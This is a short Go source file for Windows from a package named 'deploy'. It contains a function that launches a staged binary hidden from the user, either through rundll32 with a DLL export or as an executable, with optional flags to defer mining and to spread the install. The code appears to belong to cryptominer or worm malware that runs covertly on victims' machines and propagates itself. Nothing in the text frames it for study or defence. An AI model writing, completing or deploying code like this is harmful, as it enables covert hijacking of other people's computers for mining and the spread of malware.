//go:build windows package deploy import ( "fmt" "strings" ) func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) { switch strings.ToLower(strings.TrimSpace(launch)) { case "rundll32", "dll": export := strings.TrimSpace(dllExport) if export == "" { export = "DllRegisterServer" } if err := HiddenStart("rundll32.exe", dest+","+export); err != nil { return "", fmt.Errorf("rundll32 launch: %w", err) } return fmt.Sprintf("staged to %s; launched rundll32 %s", dest, export), nil default: args := []string{runFlag} if deferMining { args = append(args, deferMiningFlag) } if spreadInstall { args = append(args, spreadFlag) } if err := HiddenStart(dest, args...); err != nil { return "", fmt.Errorf("exe launch: %w", err) } return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil } }